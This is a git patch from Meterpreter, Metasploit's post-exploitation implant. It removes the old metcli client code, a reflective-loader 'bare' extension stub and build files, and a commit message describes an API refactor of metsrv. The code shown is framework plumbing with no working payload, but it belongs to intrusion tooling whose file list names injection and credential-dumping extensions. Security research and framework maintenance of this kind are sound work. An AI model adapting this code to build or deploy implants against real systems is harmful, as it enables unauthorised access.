Process commands - console_process_commands(remote); - - // Deregister core remote dispatch routines - remote_deregister_core_dispatch_routines(); - - } while (0); - - return 0; -} - -/* - * Initializes the global client lock - */ -VOID client_init_lock() -{ - clientLock = CreateMutex(NULL, FALSE, NULL); -} - -/* - * Acquires the global client lock - */ -VOID client_acquire_lock() -{ - WaitForSingleObjectEx(clientLock, INFINITE, FALSE); -} - -/* - * Releases the global client lock - */ -VOID client_release_lock() -{ - ReleaseMutex(clientLock); -} diff --git a/c/meterpreter/source/client/metcli.def b/c/meterpreter/source/client/metcli.def deleted file mode 100644 index e69604d1..00000000 --- a/c/meterpreter/source/client/metcli.def +++ /dev/null @@ -1,4 +0,0 @@ -EXPORTS - scheduler_insert_waitable @1 - scheduler_remove_waitable @2 - scheduler_run @3 diff --git a/c/meterpreter/source/client/metcli.h b/c/meterpreter/source/client/metcli.h deleted file mode 100644 index 2e143758..00000000 --- a/c/meterpreter/source/client/metcli.h +++ /dev/null @@ -1,13 +0,0 @@ -#ifndef _METERPRETER_CLIENT_METCLI_H -#define _METERPRETER_CLIENT_METCLI_H - -#include "../common/common.h" - -#include "console.h" -#include "module.h" - -VOID client_init_lock(); -VOID client_acquire_lock(); -VOID client_release_lock(); - -#endif diff --git a/c/meterpreter/source/client/module.c b/c/meterpreter/source/client/module.c deleted file mode 100644 index 19e1480c..00000000 --- a/c/meterpreter/source/client/module.c +++ /dev/null @@ -1,163 +0,0 @@ -#include "metcli.h" - -typedef struct _ClientModule -{ - LPSTR name; - LPSTR path; - HMODULE handle; - - struct _ClientModule *prev; - struct _ClientModule *next; -} ClientModule; - -ClientModule *clientModules = NULL; - -/* - * Load and initialize a client module - */ -DWORD module_load_client(Remote *remote, LPCSTR name, LPCSTR path) -{ - ClientModule *current = NULL; - DWORD res = ERROR_SUCCESS; - DWORD (*init)(Remote *remote); - - do - { - // Allocate storage for tracking the module - if (!(current = (ClientModule *)malloc(sizeof(ClientModule)))) - { - res = ERROR_NOT_ENOUGH_MEMORY; - break; - } - - // Zero the buffer - memset(current, 0, sizeof(ClientModule)); - - current->name = _strdup(name); - current->path = _strdup(path); - - // Duplication of name/path failed? - if ((!current->name) || (!current->path)) - { - res = ERROR_NOT_ENOUGH_MEMORY; - break; - } - - // Try to load the library from the supplied path - if (!(current->handle = LoadLibrary(current->path))) - { - res = GetLastError(); - break; - } - - // Try to find the initialization entry point - if (!(init = (DWORD (*)(Remote *))GetProcAddress(current->handle, - "InitClientExtension"))) - { - res = GetLastError(); - break; - } - - // Initialize the module - init(remote); - - // Add the new module to the list - if (clientModules) - clientModules->prev = current; - - current->next = clientModules; - clientModules = current; - - } while (0); - - // Clean up on failure - if (res != ERROR_SUCCESS) - { - if (current) - { - if (current->path) - free(current->path); - if (current->name) - free(current->name); - - free(current); - } - } - - return res; -} - -/* - * Enumerate the list of modules, returning a pointer to the name at - * the given index in the output parameter - */ -DWORD module_enumerate_client(DWORD index, LPCSTR *name) -{ - ClientModule *current; - DWORD cindex = 0; - DWORD res = ERROR_SUCCESS; - - for (current = clientModules, cindex = 0; - cindex < index && current; - cindex++, current = current->next); - - if (current) - *name = current->name; - else - res = ERROR_NOT_FOUND; - - return res; -} - -/* - * Unload a previously loaded module of a given name - */ -DWORD module_unload_client(Remote *remote, LPCSTR name) -{ - ClientModule *current = NULL, *prev = NULL; - DWORD (*deinit)(Remote *remote); - DWORD res = ERROR_SUCCESS; - - do - { - // Try to locate the module - for (current = clientModules; - current; - prev = current, current = current->next) - { - if (!strcmp(current->name, name)) - break; - } - - // Not located? - if (!current) - { - res = ERROR_NOT_FOUND; - break; - } - - // Remove the module from the list - if (prev) - prev->next = current->next; - else - clientModules = current->next; - - if (current->next) - current->next->prev = prev; - - // Call the module's deinitialization routine if it exports one - if ((deinit = (DWORD (*)(Remote *))GetProcAddress(current->handle, - "DeinitClientExtension"))) - deinit(remote); - - // Deallocate & unload the module - FreeLibrary(current->handle); - - free(current->path); - free(current->name); - free(current); - - } while (0); - - return res; -} diff --git a/c/meterpreter/source/client/module.h b/c/meterpreter/source/client/module.h deleted file mode 100644 index 17d07572..00000000 --- a/c/meterpreter/source/client/module.h +++ /dev/null @@ -1,8 +0,0 @@ -#ifndef _METERPRETER_SOURCE_CLIENT_MODULE_H -#define _METERPRETER_SOURCE_CLIENT_MODULE_H - -DWORD module_load_client(Remote *remote, LPCSTR name, LPCSTR path); -DWORD module_enumerate_client(DWORD index, LPCSTR *name); -DWORD module_unload_client(Remote *remote, LPCSTR name); - -#endif diff --git a/c/meterpreter/source/client/remote_dispatch.c b/c/meterpreter/source/client/remote_dispatch.c deleted file mode 100644 index cc73012e..00000000 --- a/c/meterpreter/source/client/remote_dispatch.c +++ /dev/null @@ -1,70 +0,0 @@ -#include "metcli.h" - - -/* - * Extension callback for printing out notifications for channels opening - */ -DWORD ex_remote_response_core_channel_open(Remote *remote, Packet *packet) -{ - DWORD channelId = packet_get_tlv_value_uint(packet, TLV_TYPE_CHANNEL_ID); - - if (channelId) - { - console_write_output( - "\n" - INBOUND_PREFIX " CHANNEL: New remote channel allocated: %lu.\n", - channelId); - - console_write_prompt(); - } - - return ERROR_SUCCESS; -} - -/* - * Extension callback for printing out notifications for when the remote - * endpoint is telling us to close a channel - */ -DWORD ex_remote_request_core_channel_close(Remote *remote, Packet *packet) -{ - DWORD channelId = packet_get_tlv_value_uint(packet, TLV_TYPE_CHANNEL_ID); - - if (channelId) - { - // If an interactive channel is closing, reset it - if (channelId == console_get_interactive_channel_id()) - console_set_interactive_channel(remote, NULL); - } - - return ERROR_SUCCESS; -} - - -/**************************** - * Custom dispatch routines * - ****************************/ - -// Dispatch table -Command customCommands[] = -{ - COMMAND_REP("core_channel_open", ex_remote_response_core_channel_open), - COMMAND_REP("core_channel_close", ex_remote_response_core_channel_cloase), - COMMAND_TERMINATOR -}; - - -/* - * Registers custom command handlers - */ -VOID remote_register_core_dispatch_routines() -{ - command_register_all(customCommands); -} - -/* - * Deregisters previously registered custom commands - */ -VOID remote_deregister_core_dispatch_routines() -{ - command_deregister_all(customCommands); -} diff --git a/c/meterpreter/source/extensions/bare/bare.c b/c/meterpreter/source/extensions/bare/bare.c deleted file mode 100644 index d6611d57..00000000 --- a/c/meterpreter/source/extensions/bare/bare.c +++ /dev/null @@ -1,43 +0,0 @@ -/*! - * @file bare.c - * @brief Entry point and intialisation functionality for the bare extention. - */ -#include "../../common/common.h" - -#include "../../DelayLoadMetSrv/DelayLoadMetSrv.h" -// include the Reflectiveloader() function, we end up linking back to the metsrv.dll's Init function -// but this doesnt matter as we wont ever call DLL_METASPLOIT_ATTACH as that is only used by the -// second stage reflective dll inject payload and not the metsrv itself when it loads extensions. -#include "../../ReflectiveDLLInjection/dll/src/ReflectiveLoader.c" - -// this sets the delay load hook function, see DelayLoadMetSrv.h -EnableDelayLoadMetSrv(); - -Command customCommands[] = -{ - // custom commands go here - COMMAND_TERMINATOR -}; - -/*! - * @brief Initialize the server extension - */ -DWORD __declspec(dllexport) InitServerExtension(Remote *remote) -{ - hMetSrv = remote->met_srv; - - command_register_all(customCommands); - - return ERROR_SUCCESS; -} - -/*! - * @brief Deinitialize the server extension - */ -DWORD __declspec(dllexport) DeinitServerExtension(Remote *remote) -{ - command_deregister_all(customCommands); - - return ERROR_SUCCESS; -} - diff --git a/c/meterpreter/source/extensions/bare/bare.h b/c/meterpreter/source/extensions/bare/bare.h deleted file mode 100644 index 227e15ca..00000000 --- a/c/meterpreter/source/extensions/bare/bare.h +++ /dev/null @@ -1,12 +0,0 @@ -/*! - * @file bare.h - * @brief Entry point and intialisation declrations for the bare extention. - */ -#ifndef _METERPRETER_SOURCE_EXTENSION_BARE_BARE_H -#define _METERPRETER_SOURCE_EXTENSION_BARE_BARE_H - -#define TLV_TYPE_EXTENSION_BARE 0 - -// Custom TLVs go here - -#endif diff --git a/c/meterpreter/workspace/ext_server_bare/ext_server_bare.vcxproj b/c/meterpreter/workspace/ext_server_bare/ext_server_bare.vcxproj deleted file mode 100644 index c725acbd..00000000 --- a/c/meterpreter/workspace/ext_server_bare/ext_server_bare.vcxproj +++ /dev/null @@ -1,306 +0,0 @@ - - - - - r7_release - Win32 - - - r7_release - x64 - - - Release - Win32 - - - Release - x64 - - - - {D3F39324-040D-4B1F-ADA9-762F16A120E6} - ext_server_bare - Win32Proj - - - - DynamicLibrary - MultiByte - false - v120_xp - - - DynamicLibrary - MultiByte - false - v120_xp - - - DynamicLibrary - MultiByte - false - v120_xp - - - DynamicLibrary - MultiByte - false - v120_xp - - - - - - - - - - - <_ProjectFileVersion>10.0.30319.1 - $(Configuration)\$(Platform)\ - $(Configuration)\$(Platform)\ - false - false - AllRules.ruleset - - - $(ProjectName).$(PlatformShortName) - - - - MinSpace - OnlyExplicitInline - false - ..\..\source\ReflectiveDLLInjection\common;..\..\source\extensions\bare;%(AdditionalIncludeDirectories) - WIN32;NDEBUG;_WINDOWS;_USRDLL;EXT_SERVER_BARE_EXPORTS;%(PreprocessorDefinitions) - true - MultiThreaded - false - - - $(OutDir)\ - $(OutDir)\ - $(OutDir)\ - Level3 - ProgramDatabase - false - Size - true - - - backcompat.lib;Netapi32.lib;Mpr.lib;metsrv.lib;%(AdditionalDependencies) - ..\backcompat\$(Configuration);..\metsrv\$(Configuration)\$(Platform);%(AdditionalLibraryDirectories) - false - %(IgnoreSpecificDefaultLibraries) - metsrv.dll;%(DelayLoadDLLs) - false - true - $(OutDir)\ext_server_bare.map - Windows - - - - - false - - - $(OutDir)\ext_server_bare.lib - MachineX86 - false - - - editbin.exe /OSVERSION:5.0 /SUBSYSTEM:WINDOWS,4.0 "$(TargetDir)$(TargetFileName)" > NUL -IF EXIST "$(ProjectDir)..\..\output\$(PlatformShortName)\" GOTO COPY - mkdir "$(ProjectDir)..\..\output\$(PlatformShortName)\" -:COPY -copy /y "$(TargetDir)$(TargetFileName)" "$(ProjectDir)..\..\output\$(PlatformShortName)\" - - - - - MinSpace - OnlyExplicitInline - false - ..\..\source\ReflectiveDLLInjection\common;..\..\source\extensions\bare;%(AdditionalIncludeDirectories) - WIN32;NDEBUG;_WINDOWS;_USRDLL;EXT_SERVER_BARE_EXPORTS;%(PreprocessorDefinitions) - true - MultiThreaded - false - - - $(OutDir)\ - $(OutDir)\ - $(OutDir)\ - Level3 - ProgramDatabase - false - Size - true - - - backcompat.lib;Netapi32.lib;Mpr.lib;metsrv.lib;%(AdditionalDependencies) - ..\backcompat\$(Configuration);..\metsrv\$(Configuration)\$(Platform);%(AdditionalLibraryDirectories) - false - %(IgnoreSpecificDefaultLibraries) - metsrv.dll;%(DelayLoadDLLs) - false - true - $(OutDir)\ext_server_bare.map - Windows - - - - - false - - - $(OutDir)\ext_server_bare.lib - MachineX86 - false - - - editbin.exe /OSVERSION:5.0 /SUBSYSTEM:WINDOWS,4.0 "$(TargetDir)$(TargetFileName)" > NUL -IF EXIST "$(ProjectDir)..\..\output\$(PlatformShortName)\" GOTO COPY - mkdir "$(ProjectDir)..\..\output\$(PlatformShortName)\" -:COPY -copy /y "$(TargetDir)$(TargetFileName)" "$(ProjectDir)..\..\output\$(PlatformShortName)\" - - - - - X64 - - - MaxSpeed - OnlyExplicitInline - false - ..\..\source\ReflectiveDLLInjection\common;..\..\source\extensions\bare;%(AdditionalIncludeDirectories) - WIN32;NDEBUG;_WINDOWS;_USRDLL;EXT_SERVER_BARE_EXPORTS;%(PreprocessorDefinitions) - true - MultiThreaded - false - - - $(OutDir)\ - $(OutDir)\ - $(OutDir)\ - Level3 - ProgramDatabase - false - true - - - Netapi32.lib;Mpr.lib;metsrv.lib;%(AdditionalDependencies) - ..\metsrv\$(Configuration)\$(Platform);%(AdditionalLibraryDirectories) - metsrv.dll;%(DelayLoadDLLs) - false - true - $(OutDir)\ext_server_bare.map - NotSet - - - - - false - - - $(OutDir)\ext_server_bare.lib - MachineX64 - false - - - editbin.exe /OSVERSION:5.0 /SUBSYSTEM:WINDOWS,5.02 "$(TargetDir)$(TargetFileName)" > NUL -IF EXIST "$(ProjectDir)..\..\output\$(PlatformShortName)\" GOTO COPY - mkdir "$(ProjectDir)..\..\output\$(PlatformShortName)\" -:COPY -copy /y "$(TargetDir)$(TargetFileName)" "$(ProjectDir)..\..\output\$(PlatformShortName)\" - - - - - X64 - - - MaxSpeed - OnlyExplicitInline - false - ..\..\source\ReflectiveDLLInjection\common;..\..\source\extensions\bare;%(AdditionalIncludeDirectories) - WIN32;NDEBUG;_WINDOWS;_USRDLL;EXT_SERVER_BARE_EXPORTS;%(PreprocessorDefinitions) - true - MultiThreaded - false - - - $(OutDir)\ - $(OutDir)\ - $(OutDir)\ - Level3 - ProgramDatabase - false - true - - - Netapi32.lib;Mpr.lib;metsrv.lib;%(AdditionalDependencies) - ..\metsrv\$(Configuration)\$(Platform);%(AdditionalLibraryDirectories) - metsrv.dll;%(DelayLoadDLLs) - false - true - $(OutDir)\ext_server_bare.map - NotSet - - - - - false - - - $(OutDir)\ext_server_bare.lib - MachineX64 - false - - - editbin.exe /OSVERSION:5.0 /SUBSYSTEM:WINDOWS,5.02 "$(TargetDir)$(TargetFileName)" > NUL -IF EXIST "$(ProjectDir)..\..\output\$(PlatformShortName)\" GOTO COPY - mkdir "$(ProjectDir)..\..\output\$(PlatformShortName)\" -:COPY -copy /y "$(TargetDir)$(TargetFileName)" "$(ProjectDir)..\..\output\$(PlatformShortName)\" - - - - - - - - - - - - - - {c6fb3275-9067-4bba-9206-0a720d2bc64f} - false - - - - - - - - {9e4de963-873f-4525-a7d0-ce34edbbdcca} - false - - - {37e24f8f-1bd9-490b-8cd2-4768b89e5eab} - false - - - {72f0246a-a38d-4547-9057-46020e8e503d} - false - - - - - - - diff --git a/c/meterpreter/workspace/metcli/metcli.vcxproj b/c/meterpreter/workspace/metcli/metcli.vcxproj deleted file mode 100644 index 22a99805..00000000 --- a/c/meterpreter/workspace/metcli/metcli.vcxproj +++ /dev/null @@ -1,354 +0,0 @@ - - - - - Debug - Win32 - - - Debug - x64 - - - Release - Win32 - - - Release - x64 - - - - {4DECF649-2B11-47A2-908E-031105D706F8} - metcli - - - - Application - false - MultiByte - v110_xp - - - Application - false - MultiByte - v110_xp - - - Application - false - MultiByte - v110_xp - - - Application - false - MultiByte - v110_xp - - - - - - - - - - - - - - - - - - - - - - - <_ProjectFileVersion>10.0.30319.1 - .\Debug\ - .\Debug\ - true - $(Configuration)\$(Platform)\ - $(Configuration)\$(Platform)\ - true - .\Release\ - .\Release\ - false - $(Configuration)\$(Platform)\ - $(Configuration)\$(Platform)\ - false - AllRules.ruleset - - - AllRules.ruleset - - - AllRules.ruleset - - - AllRules.ruleset - - - - - - .\Debug\metcli.tlb - - - - - Disabled - _DEBUG;WIN32;_CONSOLE;USE_DLL;METERPRETER_EXPORTS;%(PreprocessorDefinitions) - true - EnableFastChecks - MultiThreadedDebug - Use - metcli.h - .\Debug\metcli.pch - .\Debug\ - .\Debug\ - .\Debug\ - Level3 - true - EditAndContinue - - - _DEBUG;%(PreprocessorDefinitions) - 0x0409 - - - common.lib;ws2_32.lib;odbc32.lib;odbccp32.lib;%(AdditionalDependencies) - .\Debug\metcli.exe - true - ..\common\Debug;%(AdditionalLibraryDirectories) - ..\..\source\client\metcli.def - true - .\Debug\metcli.pdb - Console - false - - - MachineX86 - - - true - .\Debug\metcli.bsc - - - copy debug\metcli.exe ..\..\output\client - - - - - X64 - .\Debug\metcli.tlb - - - - - Disabled - _DEBUG;WIN32;_CONSOLE;USE_DLL;METERPRETER_EXPORTS;%(PreprocessorDefinitions) - true - EnableFastChecks - MultiThreadedDebug - Use - metcli.h - .\Debug\metcli.pch - .\Debug\ - .\Debug\ - .\Debug\ - Level3 - true - ProgramDatabase - - - _DEBUG;%(PreprocessorDefinitions) - 0x0409 - - - common.lib;ws2_32.lib;odbc32.lib;odbccp32.lib;%(AdditionalDependencies) - .\Debug\metcli.exe - true - ..\common\Debug;%(AdditionalLibraryDirectories) - ..\..\source\client\metcli.def - true - .\Debug\metcli.pdb - Console - false - - - MachineX64 - - - true - .\Debug\metcli.bsc - - - copy debug\metcli.exe ..\..\output\client - - - - - .\Release\metcli.tlb - - - - - MinSpace - OnlyExplicitInline - ..\..\deps\openssl\include;%(AdditionalIncludeDirectories) - NDEBUG;WIN32;_CONSOLE;USE_DLL;METERPRETER_EXPORTS;%(PreprocessorDefinitions) - true - MultiThreaded - true - Use - metcli.h - .\Release\metcli.pch - .\Release\ - .\Release\ - .\Release\ - Level3 - true - ProgramDatabase - Size - - - NDEBUG;%(PreprocessorDefinitions) - 0x0409 - - - backcompat.lib;common.lib;ws2_32.lib;odbc32.lib;odbccp32.lib;%(AdditionalDependencies) - .\Release\metcli.exe - true - ..\backcompat\$(Configuration);..\common\Release; ..\..\deps\openssl\lib\win;%(AdditionalLibraryDirectories) - ..\..\source\client\metcli.def - true - .\Release\metcli.pdb - Console - false - - - MachineX86 - - - true - .\Release\metcli.bsc - - - copy /y "$(ProjectDir)\release\metcli.exe" "$(ProjectDir)..\..\output\" - - - - - X64 - .\Release\metcli.tlb - - - - - MaxSpeed - OnlyExplicitInline - ..\..\deps\openssl\include;%(AdditionalIncludeDirectories) - NDEBUG;WIN32;_CONSOLE;USE_DLL;METERPRETER_EXPORTS;%(PreprocessorDefinitions) - true - MultiThreaded - false - Use - metcli.h - .\Release\metcli.pch - .\Release\ - .\Release\ - .\Release\ - Level3 - true - ProgramDatabase - false - - - NDEBUG;%(PreprocessorDefinitions) - 0x0409 - - - common.lib;ws2_32.lib;odbc32.lib;odbccp32.lib;%(AdditionalDependencies) - .\Release\metcli.exe - true - ..\common\Release; ..\..\deps\openssl\lib\win;%(AdditionalLibraryDirectories) - ..\..\source\client\metcli.def - true - .\Release\metcli.pdb - Console - false - - - MachineX64 - - - true - .\Release\metcli.bsc - - - copy /y "$(ProjectDir)\release\metcli.exe" "$(ProjectDir)..\..\output\" - - - - - %(PreprocessorDefinitions) - %(PreprocessorDefinitions) - %(PreprocessorDefinitions) - %(PreprocessorDefinitions) - - - %(PreprocessorDefinitions) - %(PreprocessorDefinitions) - %(PreprocessorDefinitions) - %(PreprocessorDefinitions) - - - %(PreprocessorDefinitions) - Create - %(PreprocessorDefinitions) - Create - %(PreprocessorDefinitions) - Create - %(PreprocessorDefinitions) - Create - - - %(PreprocessorDefinitions) - %(PreprocessorDefinitions) - %(PreprocessorDefinitions) - %(PreprocessorDefinitions) - - - %(PreprocessorDefinitions) - %(PreprocessorDefinitions) - %(PreprocessorDefinitions) - %(PreprocessorDefinitions) - - - - - - - - - - - - - {c6fb3275-9067-4bba-9206-0a720d2bc64f} - false - - - {9e4de963-873f-4525-a7d0-ce34edbbdcca} - false - - - - - - From 4ffe127f04714d5280c4c86645b6d434b2645f0a Mon Sep 17 00:00:00 2001 From: OJ Date: Fri, 17 Apr 2020 17:46:27 +1000 Subject: [PATCH 02/21] Begin removing the delay-load dependency The 'common' library has been removed. The only project that actually used it was metsrv, so the code that metsrv required from common is now directly compiled in as part of that project. The common folder now contains files that are importanta cross all of the projects, with a primary focus on the new "API" style function. What this means is that MetSrv has an API that it exposes through a function pointer that is passed to the extension when it's initialised. This pointer references a structure with all the API functions wired in. This means that: * Extensions don't need to know anything about metsrv at compile time. * The delay loading code can be removed, which was one of the last instances of "metsrv.dll" as a string. * Metsrv.dll no longer exports any functions. More to come. --- .../source/DelayLoadMetSrv/DelayLoadMetSrv.c | 74 - .../source/DelayLoadMetSrv/DelayLoadMetSrv.h | 48 - c/meterpreter/source/common/arch/win/buffer.c | 105 - c/meterpreter/source/common/args.c | 74 - c/meterpreter/source/common/args.h | 21 - .../source/common/base_dispatch_common.c | 608 - c/meterpreter/source/common/buffer.h | 9 - c/meterpreter/source/common/common.h | 62 +- .../source/common/{base.h => common_base.h} | 204 +- .../common/{channel.h => common_channel.h} | 363 +- .../common/{config.h => common_config.h} | 28 +- .../source/common/{core.h => common_core.h} | 552 +- .../source/common/{list.h => common_list.h} | 69 +- c/meterpreter/source/common/common_metapi.h | 159 + .../source/common/common_pivot_tree.h | 23 + .../common/{remote.h => common_remote.h} | 347 +- .../source/common/common_scheduler.h | 14 + c/meterpreter/source/common/common_thread.h | 31 + c/meterpreter/source/common/compat_types.h | 235 - c/meterpreter/source/common/linkage.h | 14 - .../source/common/pivot_packet_dispatch.h | 6 - c/meterpreter/source/common/pivot_tree.h | 35 - c/meterpreter/source/common/queue.h | 627 - c/meterpreter/source/common/scheduler.h | 23 - .../extensions/priv/server/elevate/elevate.c | 11 +- .../priv/server/elevate/namedpipe.c | 41 +- .../extensions/priv/server/elevate/tokendup.c | 9 +- .../source/extensions/priv/server/fs.c | 40 +- .../source/extensions/priv/server/passwd.c | 9 +- .../source/extensions/priv/server/precomp.h | 2 - .../source/extensions/priv/server/priv.c | 15 +- .../extensions/stdapi/server/audio/output.c | 57 +- .../source/extensions/stdapi/server/fs/dir.c | 39 +- .../source/extensions/stdapi/server/fs/file.c | 69 +- .../extensions/stdapi/server/fs/fs_win.c | 35 +- .../extensions/stdapi/server/fs/mount_win.c | 21 +- .../extensions/stdapi/server/fs/search.c | 29 +- .../source/extensions/stdapi/server/general.c | 11 +- .../extensions/stdapi/server/net/config/arp.c | 8 +- .../stdapi/server/net/config/interface.c | 41 +- .../stdapi/server/net/config/netstat.c | 10 +- .../stdapi/server/net/config/proxy_config.c | 13 +- .../stdapi/server/net/config/route.c | 21 +- .../source/extensions/stdapi/server/net/net.c | 5 +- .../extensions/stdapi/server/net/resolve.c | 31 +- .../extensions/stdapi/server/net/socket/tcp.c | 37 +- .../stdapi/server/net/socket/tcp_server.c | 49 +- .../extensions/stdapi/server/net/socket/udp.c | 37 +- .../source/extensions/stdapi/server/precomp.h | 1 - .../stdapi/server/railgun/railgun.c | 73 +- .../source/extensions/stdapi/server/stdapi.c | 15 +- .../stdapi/server/sys/config/config.c | 97 +- .../stdapi/server/sys/eventlog/eventlog.c | 67 +- .../stdapi/server/sys/power/power.c | 9 +- .../stdapi/server/sys/process/image.c | 39 +- .../stdapi/server/sys/process/memory.c | 103 +- .../stdapi/server/sys/process/process.c | 105 +- .../extensions/stdapi/server/sys/process/ps.c | 19 +- .../stdapi/server/sys/process/thread.c | 89 +- .../stdapi/server/sys/process/util.c | 4 +- .../stdapi/server/sys/registry/registry.c | 151 +- .../extensions/stdapi/server/ui/desktop.c | 81 +- .../source/extensions/stdapi/server/ui/idle.c | 7 +- .../extensions/stdapi/server/ui/keyboard.c | 43 +- .../extensions/stdapi/server/ui/mouse.c | 17 +- .../extensions/stdapi/server/webcam/audio.c | 11 +- .../stdapi/server/webcam/webcam.cpp | 485 +- .../source/{common => metsrv}/base.c | 1317 +- c/meterpreter/source/metsrv/base.h | 17 + .../arch/win/i386 => metsrv}/base_dispatch.c | 2164 ++-- .../arch/win/i386 => metsrv}/base_inject.c | 1131 +- .../arch/win/i386 => metsrv}/base_inject.h | 166 +- .../source/{common => metsrv}/channel.c | 1870 ++- c/meterpreter/source/metsrv/channel.h | 50 + .../source/{common => metsrv}/core.c | 2676 ++-- c/meterpreter/source/metsrv/core.h | 71 + .../source/{server/win => metsrv}/libloader.c | 1228 +- c/meterpreter/source/metsrv/libloader.h | 6 + .../source/{common => metsrv}/list.c | 912 +- c/meterpreter/source/metsrv/list.h | 23 + c/meterpreter/source/metsrv/metapi.c | 134 + c/meterpreter/source/metsrv/metapi.h | 7 + .../{common/common.c => metsrv/metsrv.c} | 165 +- c/meterpreter/source/metsrv/metsrv.h | 73 + .../{common => metsrv}/packet_encryption.c | 1146 +- .../{common => metsrv}/packet_encryption.h | 72 +- .../pivot_packet_dispatch.c | 60 +- .../source/metsrv/pivot_packet_dispatch.h | 6 + .../source/{common => metsrv}/pivot_tree.c | 590 +- c/meterpreter/source/metsrv/pivot_tree.h | 18 + .../source/{common => metsrv}/remote.c | 158 +- c/meterpreter/source/metsrv/remote.h | 17 + .../{server/win => metsrv}/remote_dispatch.c | 860 +- .../{server => metsrv}/remote_dispatch.h | 28 +- .../arch/win => metsrv}/remote_thread.c | 0 .../arch/win => metsrv}/remote_thread.h | 4 +- .../source/{common => metsrv}/scheduler.c | 70 +- c/meterpreter/source/metsrv/scheduler.h | 13 + .../{server/win => metsrv}/server_pivot.c | 95 +- .../{server/win => metsrv}/server_pivot.h | 8 +- .../win => metsrv}/server_pivot_named_pipe.c | 1669 ++- .../win => metsrv}/server_pivot_named_pipe.h | 10 +- .../server_setup.c} | 1039 +- .../server_transport_named_pipe.c | 1457 ++- .../server_transport_named_pipe.h | 12 +- .../win => metsrv}/server_transport_tcp.c | 1820 ++- .../win => metsrv}/server_transport_tcp.h | 6 +- .../win => metsrv}/server_transport_winhttp.c | 2035 ++- .../win => metsrv}/server_transport_winhttp.h | 4 +- .../win => metsrv}/server_transport_wininet.c | 472 +- .../source/metsrv/server_transport_wininet.h | 6 + .../source/{common => metsrv}/thread.c | 676 +- .../source/{common => metsrv}/thread.h | 172 +- .../source/{common => metsrv}/unicode.c | 0 .../source/{common => metsrv}/unicode.h | 4 +- .../source/{common/zlib => metsrv}/zlib.c | 10804 ++++++++-------- .../source/{common/zlib => metsrv}/zlib.h | 0 c/meterpreter/source/server/libloader.h | 5 - c/meterpreter/source/server/metsrv.c | 36 - c/meterpreter/source/server/metsrv.h | 47 - .../source/server/remote_dispatch_common.c | 135 - c/meterpreter/source/server/win/metsrv.def | 3 - c/meterpreter/source/server/win/metsrv_test.c | 81 - .../server/win/server_transport_wininet.h | 6 - c/meterpreter/source/server/zlib/zlib.c | 5379 -------- c/meterpreter/source/server/zlib/zlib.h | 993 -- .../ReflectiveDLLInjection.vcxproj | 2 - .../ext_server_espia/ext_server_espia.vcxproj | 14 +- .../ext_server_extapi.vcxproj | 12 +- .../ext_server_incognito.vcxproj | 12 +- .../ext_server_kiwi/ext_server_kiwi.vcxproj | 12 +- .../ext_server_lanattacks.vcxproj | 12 +- .../ext_server_mimikatz.vcxproj | 12 +- .../ext_server_peinjector.vcxproj | 12 +- .../ext_server_powershell.vcxproj | 12 +- .../ext_server_priv/ext_server_priv.vcxproj | 20 +- .../ext_server_python.vcxproj | 14 +- .../ext_server_sniffer.vcxproj | 12 +- .../ext_server_stdapi.vcxproj | 23 +- .../ext_server_unhook.vcxproj | 12 +- .../ext_server_winpmem.vcxproj | 12 +- c/meterpreter/workspace/meterpreter.sln | 10 - c/meterpreter/workspace/metsrv/metsrv.vcxproj | 120 +- .../workspace/metsrv/metsrv.vcxproj.filters | 105 +- 144 files changed, 20500 insertions(+), 27741 deletions(-) delete mode 100644 c/meterpreter/source/DelayLoadMetSrv/DelayLoadMetSrv.c delete mode 100644 c/meterpreter/source/DelayLoadMetSrv/DelayLoadMetSrv.h delete mode 100644 c/meterpreter/source/common/arch/win/buffer.c delete mode 100644 c/meterpreter/source/common/args.c delete mode 100644 c/meterpreter/source/common/args.h delete mode 100755 c/meterpreter/source/common/base_dispatch_common.c delete mode 100644 c/meterpreter/source/common/buffer.h rename c/meterpreter/source/common/{base.h => common_base.h} (82%) rename c/meterpreter/source/common/{channel.h => common_channel.h} (56%) rename c/meterpreter/source/common/{config.h => common_config.h} (97%) mode change 100755 => 100644 rename c/meterpreter/source/common/{core.h => common_core.h} (78%) mode change 100755 => 100644 rename c/meterpreter/source/common/{list.h => common_list.h} (58%) mode change 100755 => 100644 create mode 100644 c/meterpreter/source/common/common_metapi.h create mode 100644 c/meterpreter/source/common/common_pivot_tree.h rename c/meterpreter/source/common/{remote.h => common_remote.h} (94%) mode change 100755 => 100644 create mode 100644 c/meterpreter/source/common/common_scheduler.h create mode 100644 c/meterpreter/source/common/common_thread.h delete mode 100644 c/meterpreter/source/common/compat_types.h delete mode 100644 c/meterpreter/source/common/linkage.h delete mode 100755 c/meterpreter/source/common/pivot_packet_dispatch.h delete mode 100755 c/meterpreter/source/common/pivot_tree.h delete mode 100644 c/meterpreter/source/common/queue.h delete mode 100644 c/meterpreter/source/common/scheduler.h rename c/meterpreter/source/{common => metsrv}/base.c (87%) mode change 100755 => 100644 create mode 100644 c/meterpreter/source/metsrv/base.h rename c/meterpreter/source/{common/arch/win/i386 => metsrv}/base_dispatch.c (61%) mode change 100755 => 100644 rename c/meterpreter/source/{common/arch/win/i386 => metsrv}/base_inject.c (96%) rename c/meterpreter/source/{common/arch/win/i386 => metsrv}/base_inject.h (83%) rename c/meterpreter/source/{common => metsrv}/channel.c (93%) mode change 100755 => 100644 create mode 100644 c/meterpreter/source/metsrv/channel.h rename c/meterpreter/source/{common => metsrv}/core.c (95%) mode change 100755 => 100644 create mode 100644 c/meterpreter/source/metsrv/core.h rename c/meterpreter/source/{server/win => metsrv}/libloader.c (96%) mode change 100755 => 100644 create mode 100644 c/meterpreter/source/metsrv/libloader.h rename c/meterpreter/source/{common => metsrv}/list.c (94%) mode change 100755 => 100644 create mode 100644 c/meterpreter/source/metsrv/list.h create mode 100644 c/meterpreter/source/metsrv/metapi.c create mode 100644 c/meterpreter/source/metsrv/metapi.h rename c/meterpreter/source/{common/common.c => metsrv/metsrv.c} (63%) mode change 100755 => 100644 create mode 100644 c/meterpreter/source/metsrv/metsrv.h rename c/meterpreter/source/{common => metsrv}/packet_encryption.c (96%) mode change 100755 => 100644 rename c/meterpreter/source/{common => metsrv}/packet_encryption.h (83%) mode change 100755 => 100644 rename c/meterpreter/source/{common => metsrv}/pivot_packet_dispatch.c (95%) mode change 100755 => 100644 create mode 100644 c/meterpreter/source/metsrv/pivot_packet_dispatch.h rename c/meterpreter/source/{common => metsrv}/pivot_tree.c (96%) mode change 100755 => 100644 create mode 100644 c/meterpreter/source/metsrv/pivot_tree.h rename c/meterpreter/source/{common => metsrv}/remote.c (94%) mode change 100755 